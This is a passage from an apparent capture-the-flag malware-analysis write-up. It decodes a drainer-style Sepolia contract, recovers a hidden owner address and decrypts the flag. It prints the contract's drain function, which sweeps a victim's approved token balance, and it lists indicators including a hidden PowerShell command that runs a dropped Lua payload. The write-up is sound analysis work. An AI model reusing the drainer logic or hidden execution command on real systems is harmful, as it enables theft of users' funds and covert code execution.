The spender address referenced by the page, 0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D, led to the final stage of the challenge.
Investigating the second smart contract
This contract was also verified, allowing its source to be analyzed directly:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MockToken {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor() {
balanceOf[msg.sender] = 1000 ether;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(allowance[from][msg.sender] >= amount, "not approved");
require(balanceOf[from] >= amount, "insufficient balance");
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
return true;
}
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
}
}
contract x0 {
MockToken public x1;
bytes32 private x2 = 0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b;
bytes32 private x3 = 0x7ccb3a440e383635148b237d13473c069ba9ffd6545c58ee37e969b87d181c01;
bytes private x4;
event x5(address indexed);
constructor(address x6) {
x1 = MockToken(x6);
}
function x7() public view returns (address) {
return address(uint160(uint256(x2) ^ uint256(x3)));
}
function x8(bytes calldata cipherFlag) external {
require(x4.length == 0, "already set");
x4 = cipherFlag;
}
function x9(address x10) external view returns (string memory) {
require(x10 == x7(), "not quite - keep analyzing");
bytes memory decrypted = _crypt(x4, x10);
return string(decrypted);
}
function _crypt(bytes memory data, address key) internal pure returns (bytes memory) {
bytes memory out = new bytes(data.length);
uint256 i = 0;
uint256 counter = 0;
while (i < data.length) {
bytes32 block_ = keccak256(abi.encodePacked(key, counter));
for (uint256 j = 0; j < 32 && i < data.length; j++) {
out[i] = data[i] ^ block_[j];
i++;
}
counter++;
}
return out;
}
function x11(address x12) external {
require(msg.sender == x7(), "only hidden owner");
uint256 bal = x1.balanceOf(x12);
x1.transferFrom(x12, x7(), bal);
}
}
The creation input provides an additional consistency check. The complete input is 4,175 bytes: 4,143 bytes of creation bytecode followed by one 32-byte constructor argument. Its relevant tail is:
...a26469706673582212205e522e36e62c5b8dc4eb1170cfc4a3f01344d906cc4f450b5954fe8721dca90064736f6c63430008180033
0000000000000000000000006b2b0c0d0a376255ac70bf1366f50982bf476bb2
The first line is the Solidity CBOR metadata tail, ending in 0033. The word after it is the ABI-encoded value supplied to constructor(address x6). Ethereum ABI encoding stores an address in a 32-byte slot by left-padding its 20-byte value with twelve zero bytes. Removing that padding gives:
0x6b2b0c0d0a376255ac70bf1366f50982bf476bb2
This matches MOCK_TOKEN_ADDRESS from settlement.html (address casing is not significant), confirming that x1 references the mock token contract. The creation input does not itself contain a human-readable ABI; because the contract is verified, the ABI can be obtained from Blockscout, or reduced to the single signature needed for the final call: function x9(address) view returns (string).
The x0 contract stores two bytes32 constants, x2 and x3. Function x7() XORs them, converts the result to uint160, and then casts it to an Ethereum address:
address(uint160(uint256(x2) ^ uint256(x3)))
The recovered hidden address is:
0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a
That address has two roles. First, x11() treats it as the hidden owner allowed to drain an approved token balance. Second, x9(address) compares its argument, x10, with the hidden address returned by x7(). If they do not match, the call reverts with the challenge hint not quite - keep analyzing. Because this check applies to a function argument rather than msg.sender, retrieving the flag does not require possession of the hidden address’s private key.
The encrypted flag is stored in x4, which was populated through x8(bytes). With the correct hidden address, x9() passes the ciphertext and address to _crypt(). The routine generates one 32-byte keystream block at a time:
keccak256(abi.encodePacked(key, counter))
It XORs each ciphertext byte with the corresponding keystream byte and increments counter for the next block. Because x9() is a view function, it can be called through Sepolia RPC without sending a transaction or paying gas. Foundry’s cast can perform the call and decode its declared string return value:
cast call \
0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D \
"x9(address)(string)" \
0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a \
--rpc-url https://ethereum-sepolia-rpc.publicnode.com
The command returns:
"51.5049,0.0348"
To understand where this value comes from, the raw eth_call response can be split into three 32-byte ABI words (line breaks added for readability):
0x0000000000000000000000000000000000000000000000000000000000000020
000000000000000000000000000000000000000000000000000000000000000e
35312e353034392c302e3033343800000000000000000000000000000000000000
Solidity ABI encoding represents a dynamic string using an offset, a length, and the padded string data:
| ABI word | Meaning |
|---|---|
0x20 |
Offset to the dynamic string data |
0x0e |
String length: 14 bytes |
35312e353034392c302e30333438 |
The 14 bytes of string data, followed by zero padding |
Converting the data bytes from hexadecimal to ASCII gives:
35 31 2e 35 30 34 39 2c 30 2e 30 33 34 38
5 1 . 5 0 4 9 , 0 . 0 3 4 8
The resulting plaintext is 51.5049,0.0348. The decryption itself occurs inside _crypt(x4, x10); ABI decoding is only the final conversion of the contract’s encoded return data into a JavaScript/Solidity string.
Challenge answer 10:
51.5049,0.0348
Indicators of Compromise
The following indicators and host artifacts summarize the observable components of the challenge. They are specific to this sample and the Sepolia test network.
| Type | Indicator | Role |
|---|---|---|
| Original executable | TrustSettle 1.0.0.exe |
NSIS installer containing the Electron application |
| Packaged archive | resources/app.asar |
Electron source and application resources |
| Dropped file | C:\Users\Public\api.txt |
Obfuscated Lua payload |
| Dropped file | C:\Users\Public\luajit.exe |
Runtime used to execute api.txt |
| Dropped file | C:\Users\Public\lua51.dll |
Lua runtime dependency |
| Monitored file | C:\Users\Public\.env |
File watched for added or removed content |
| Dropped HTML | %TEMP%\settlement.html |
Terms of Service lure containing the wallet-approval flow |
| Suspicious command line | powershell.exe -exec bypass -w hidden -nop -c "& 'C:\Users\Public\luajit.exe' 'C:\Users\Public\api.txt'" |
Executes the Lua payload through hidden PowerShell |
| Local HTTP endpoint | http://127.0.0.1:8000 |
Receives changes captured from .env |
| Sepolia contract | 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1 |
StateRegistry contract used to retrieve the payload-decryption key |
| Sepolia contract | 0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D |
Spender/drainer-style x0 contract referenced by the HTML page |
| Sepolia token contract | 0x6B2B0C0d0a376255Ac70Bf1366f50982bF476Bb2 |
Mock token passed to the x0 constructor |
| Hidden address | 0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a |
XOR-recovered owner address and key supplied to x9(address) |
AI disclosure: I used AI as a writing and editing assistant to translate parts of my original Indonesian draft into English and improve the article’s grammar, clarity, and organization.